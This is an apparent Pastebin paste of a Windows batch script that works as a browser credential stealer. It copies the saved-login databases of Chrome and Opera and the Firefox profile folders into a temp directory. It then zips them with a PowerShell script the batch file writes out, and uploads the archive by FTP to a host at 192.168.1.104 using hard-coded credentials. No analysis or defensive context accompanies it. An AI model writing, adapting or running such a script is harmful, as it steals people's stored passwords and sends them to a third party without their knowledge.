Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- @ECHO OFF
- For /f "tokens=2-4 delims=/ " %%a in ('date /t') do (set mydate=%%c-%%a-%%b)
- For /f "tokens=1-3 delims=/:/ " %%a in ('time /t') do (set mytime=%%a-%%b-%%c)
- set mytime=%mytime: =%
- set usr=%USERNAME%_%mydate%_%mytime%
- echo %usr%
- del /Q /S %TEMP%\profile
- ::Create filestructure
- mkdir %TEMP%\profile
- ::Chrome
- mkdir %TEMP%\profile\chrome
- cd %TEMP%\profile\chrome
- Echo "Chrome start"
- Echo "Copying..."
- xcopy /q /s "%APPDATA%\Local\Google\Chrome\User Data\Default\Login Data"
- Echo "Chrome done"
- Echo "Switching Browser"
- ::Firefox Data
- mkdir %TEMP%\profile\firefox
- cd %TEMP%\profile\firefox
- Echo "Firefox Start"
- Echo "Firefox Copying..."
- xcopy /q /s "%APPDATA%\Roaming\Mozilla\Firefox\Profiles"
- Echo "Firefox done"
- ::Opera data
- mkdir %TEMP%\profile\Opera
- cd %TEMP%\profile\Opera
- Echo "Opera start"
- Echo "Copying..."
- xcopy /q /s "%APPDATA%\Roaming\Opera Software\Opera Stable\Login Data"
- Echo "Opera done"
- ::Zip Time
- cd %TEMP%
- >zip.ps1 echo $path = "%TEMP%\profile.zip"
- >>zip.ps1 echo if (-not (test-path $path)) {
- >>zip.ps1 echo set-content $path ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18))
- >>zip.ps1 echo }
- >>zip.ps1 echo $shell = new-object -com shell.application
- >>zip.ps1 echo $items = $shell.namespace("%TEMP%\profile\").items()
- >>zip.ps1 echo $shell.namespace($path).copyhere($items)
- powershell -File zip.ps1
- move %TEMP%\profile.zip "%TEMP%\%usr%.zip"
- ::FTP TIME!
- cd %TEMP%
- > ftpcmd.txt echo open 192.168.1.104
- >> ftpcmd.txt echo sshc
- >> ftpcmd.txt echo 1B762
- >> ftpcmd.txt echo put %TEMP%\%usr%.zip
- ftp < ftpcmd.txt
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement